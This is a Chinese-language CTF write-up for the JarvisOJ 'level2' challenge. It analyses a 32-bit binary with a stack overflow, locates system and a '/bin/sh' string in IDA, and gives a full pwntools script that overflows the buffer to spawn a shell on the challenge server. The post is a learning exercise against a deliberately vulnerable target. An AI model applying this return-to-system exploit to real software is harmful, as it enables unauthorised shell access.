jarvisoj-level2
阿新 • • 發佈:2018-12-20
只開了NX,棧上不可執行
main函式
vulnerable_function();
system("echo 'Hello World!'");
return 0;
function函式
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
這次沒有像level1一樣直接洩露buf地址了,而且開了NX就不能用shellcode了,另外程式沒有開canary(棧溢位檢測)所以用基本的ROP
因為程式沒有開記憶體地址隨機化(PIE),直接用IDA裡上方選單欄內的serch for text查一下system和\bin\sh的地址
.data:0804A024 public hint
.data:0804A024 hint db '/bin/sh',0
.data:0804A024 _data ends
.plt:08048320 jmp ds:off_804A010
.plt:08048320 _system endp
這裡有個困惑是IDA裡左邊列表的_system和system有什麼差別呢?system在IDA裡是粉色框,是因為main函式沒有呼叫到它嗎?之後閱讀IDA權威指南的時候希望能找到原因。
有了system和\bin\sh的地址後,就能構造payload了
from pwn import * context(log_level = 'debug', arch = 'i386', os = 'linux') s=remote("pwn2.jarvisoj.com",9878) payload='a'*0x88+'a'*4+p32(0x08048320)+p32(0x08048320)+p32(0x0804a024) #這裡是0x88+4個'a'把棧和ebp填滿,之後用system的地址覆蓋返回地址,之後跟著隨便一個地址,是system函式執行的地址,這裡我直接用system原有的地址(任意地址都可以),最後跟著/bin/sh字串存放的地址,作為system函式的引數 text=s.recvline() print text s.send(payload) s.interactive()
不過像https://www.cnblogs.com/WangAoBo/p/7622091.html裡用ELF讀取本地level2檔案,再用symbols[‘system’]獲取system函式地址,以及用search("/bin/sh").next()得到字串地址的方式更具有通用性。